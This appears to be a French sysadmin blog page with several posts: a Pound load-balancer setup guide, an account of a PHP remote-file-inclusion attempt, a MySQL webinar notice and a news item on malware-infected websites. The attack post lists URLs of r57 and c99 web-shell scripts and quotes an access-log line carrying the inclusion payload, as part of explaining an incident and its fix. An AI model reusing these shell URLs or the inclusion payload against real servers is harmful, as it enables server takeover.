Pound : le load-balancing facile

Hello

Ce billet va parler du logiciel « Pound« . Dans notre exemple, nous allons voir comment créer un load-balacing assez simple puisque celui-ci n’aura essentiellement que pour but de rediriger les requêtes HTTP vers les différents serveurs.

Voici le schéma :

Nous avons donc les serveurs suivants :

  • ServerLB : qui fera office de load-balancer,
  • WWW1, WWW2, WWW3 : qui feront office de serveur web.

Nous allons donc installer pound

aptitude update

aptitude install pound

Le fichier de configuration se situe dans /etc/pound/. Nous allons éditer le fichier et placer la configuration suivante :

cd /etc/pound/

cp pound.cfg pound.cfg.old

vi pound.cfg

## Minimal sample pound.cfg
##
## see pound(8) for details

######################################################################
## global options:

User            « www-data »
Group           « www-data »

LogLevel        3

## check backend every X secs:
Alive           30

# poundctl control socket
Control « /var/run/pound/poundctl.socket »

ListenHTTP
Address 0.0.0.0
Port    80

## allow PUT and DELETE also (by default only GET, POST and HEAD)?:
xHTTP           0

Service
HeadRequire « Host: *nom_de_domaine.* »
BackEnd
Address 192.168.0.1
Port    80
Priority 5
End
BackEnd
Address 192.168.0.2
Port    80
Priority 4
End
BackEnd
Address 192.168.0.3
Port    80
Priority 4
End
End
End

Les différences de priorité est un choix personnel, à cause des puissances des machines qui ne sont pas égales toutes les trois.

Attention cependant, sur le serveur de load-balacing, il ne faut rien sur le port 80, et donc pas de serveur web qui tourne.

Une dernière chose est à faire. Il faut éditer le fichier /etc/default/pound et passer la variable startup à 1 (Par défaut, elle est à 0).

vi /etc/default/pound

# Defaults for pound initscript
# sourced by /etc/init.d/pound
# installed at /etc/default/pound by the maintainer scripts

# prevent startup with default configuration
# set the below varible to 1 in order to allow pound to start
startup=1

Ensuite, on démarre le daemon :

/etc/init.d/pound start

Voilà voilà. A partir de maintenant, votre load-balancer est prêt. Il est également possible de mettre en place des configurations beaucoup plus complexes, par exemple, rediriger les requêtes web contenant des images sur un autre serveur, etc … Vous êtes free, vous avez tout compris ;)

@ bientôt

PHP : allow_url_fopen où comment l’éviter

Suite a quelques alertes sur l’un de nos serveurs, nous avons pu nous rendre compte que les « attaquants » passaient par une « faille » (qui n’en ai pas vraiment une) de PHP. Sur l’un des sites, nous avons besoin d’Allopass. Nous faisons donc appel à l’URL d’Allopass dans les scripts PHP.

Pour cela, il faut utiliser deux directives de PHP :

  • allow_url_fopen
  • alow_url_include

Le souci est, qu’activer ces options, permet donc à des attaquants d’exécuter des scripts. Ces scripts n’ont en aucun cas pu s’exécuter mais ils ont considérablement alourdi les ressources réseaux.

Voici donc les deux scripts qui avaient été lancés (les mêmes) :

http://www.r57.li/r57.txt & http://theorchardtavern.com/menu/template/view/Devils/tOtti.txt.

a l’heure où j’écris ces lignes, ces deux URL m’ont permis de récupérer les scripts et voici ce que cela donne, une fois mis sur un serveur de test :







Nous tombons donc sur une jolie interface. Sur mon poste de travail, l’antivirus s’est mis à s’affoler assez rapidement. Ce script peut-être utile si vous souhaitez tester la sécurité de votre machine et voir si l’intégralité de la machine ne peut être compromise.

Le hack a été lancé via la manière suivante (celle qui a été retrouvée dans les logs — access.log–) :


www.monsite.com-access.log:66.249.65.40 - - [17/Jun/2008:14:00:24 +0200] "GET
/test/test.php?page=http%3A%2F%2Fwww.dosbr.net%2FXPL%2FCMD%2Fc99.txt%3F%3F&act=ls&d=%2Fvar%2Fspool%2Fpostfix%2Fflush&rt=0a HTTP/1.1" 200 36821 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

La solution apportée et fonctionnelle, afin de remplacer l’utilisation des directives PHP, est d’utiliser le paquetage curl de PHP5.


server:# apt-get install php5-curl && /etc/init.d/apache2 reload

Nous avons mis le lien (+ code source) pour utiliser curl dans les références plus bas.


function GetRemoteFileContent($url)
{
$ch = curl_init(); // Initialiser cURL.
curl_setopt($ch, CURLOPT_URL, $url); // Indiquer l'URL à récupérer
curl_setopt($ch, CURLOPT_HEADER, 0); // Ne pas inclure le header dans la réponse.
ob_start(); // Commencer à 'cache' l'output.
curl_exec($ch); // Exécuter la requète.
curl_close($ch); // Fermer cURL.
$cache = ob_get_contents(); // Sauvegarder le 'cache' dans la variable $cache.
ob_end_clean(); // Vider le buffer.
return $cache;
}

Enjoy !

Références :
http://www.un-programmeur-php.ca/articles/curl.php

Conference : Optimisation des performances de Mysql

Optimisation des performances de MySQL

mercredi, 23 avril 2008

  • Vos applications ralentissent-elles en période de pointe?
  • Vous avez des difficultés à localiser les goulots d’étranglement ?
  • Vous concevez une nouvelle application et souhaitez savoir comment optimiser vos schémas et index?
  • Vous souhaitez améliorer les performances de vos bases de données MySQL existantes?

Alors ce séminaire web gratuit est pour vous! Vous bénéficierez de conseils d’experts pour vous aider à obtenir de meilleures performances! Nous aborderons les sujets suivants:

  • Concepts et recommandations de profiling & benchmarking
  • Optimisation des schémas
  • Sélection et optimisation des index
  • Techniques de tuning du SQL
  • Optimisation des paramètres du serveur

QUI:

  • Serge Frezefond, Ingénieur Avant Vente, MySQL France

QUOI:

Séminaire Web Optimisation des performances de MySQL

QUAND:

mercredi, 23 avril 2008, 10h00 CET (heure de Paris)
Présentation de 50 minutes suivie par questions/réponses.

OÙ:

Votre bureau, via votre navigateur.

POURQUOI:

Pour apprendre à optimiser au mieux vos bases de données MySQL.

Afin de participer à cette présentation Web vous nécessiterez l’utilisation d’un des navigateurs suivants: http://support.webex.com/support/system-requirements.html?_nfpb=true&_pageL

Annonce sur le site : Mysql

Google recense 3 millions de pages web infectées par des programmes malveillants

Google a mené une enquête approfondie dans son index pour tenter d’évaluer l’importance d’un phénomène dangereux : l’utilisation de sites web pour exploiter les vulnérabilités des navigateurs des internautes. Les escrocs intègrent un code malveillant dans leurs pages, qui va tenter de s’installer sur la machine du visiteur pour ensuite lui voler ses données personnelles, par exemple. Cette technique permet en particulier de passer outre les protections des pare-feu.

Un premier volet de cette étude (*), terminée en avril 2007, indiquait que moins de 0,4 % des requêtes réalisées dans son moteur faisaient remonter au moins un site dangereux. Cette proportion est passée à 1,3 % en janvier 2008, prévient Niels Provos, un des ingénieurs de Google.

Selon lui, sur les milliards de pages inspectées en un an et demi, les spécialistes de Google ont trouvé trois millions d’url, correspondant à 180 000 sites internet, qui installent automatiquement des programmes malveillants lors des visites des internautes. Les pages les plus susceptibles de contenir ce type de malware sont celles qui proposent des contenus pour adultes, souligne Google.

La Chine, source principale des sites corrompus

Mais le moteur de recherche met aussi en cause la sécurisation des serveurs web, pour expliquer l’augmentation de ce phénomène. Ses ingénieurs pointent en particulier une absence de mise à jour de certains serveurs Apache ou PHP, qui deviennent ainsi vulnérables aux attaques malveillantes. « Ces résultats soulèvent de graves questions au sujet des pratiques en matière de sécurité de certains administrateurs de sites », écrivent-ils dans leur étude.

Une étude qui a montré, par ailleurs, que 67 % des serveurs compromis et 64 % des sites qui y sont rattachés sont situés en Chine.

Selon une source interrogée par ZDNet UK au sein de Google, les ingénieurs du moteur de recherche signalent tous les sites infectés qu’ils repèrent auprès de l’organisation StopBadware.org, gérée par la Harvard School Law, l’université d’Oxford, avec le soutien de Lenovo, Sun ou Google lui-même.

Dans la pratique, le moteur de recherche ne censure pas les sites infectés : ils remontent dans les pages de résultats, parmi tous les autres sites. Mais Google utilise les listes fournies par StopBadware.org pour insérer des messages de prévention lorsqu’un utilisateur tente de visiter un site dangereux. Une page spéciale s’affiche alors, lui indiquant que le site en question est probablement compromis : l’internaute peut ainsi choisir de stopper sa navigation ou bien d’aller visiter le site malgré tout.

(*) L’étude est titrée « All your iFrames point to us ». Elle est actuellement soumise aux commentaries de la communauté d’experts.

Sources ZdNet

%d blogueurs aiment cette page :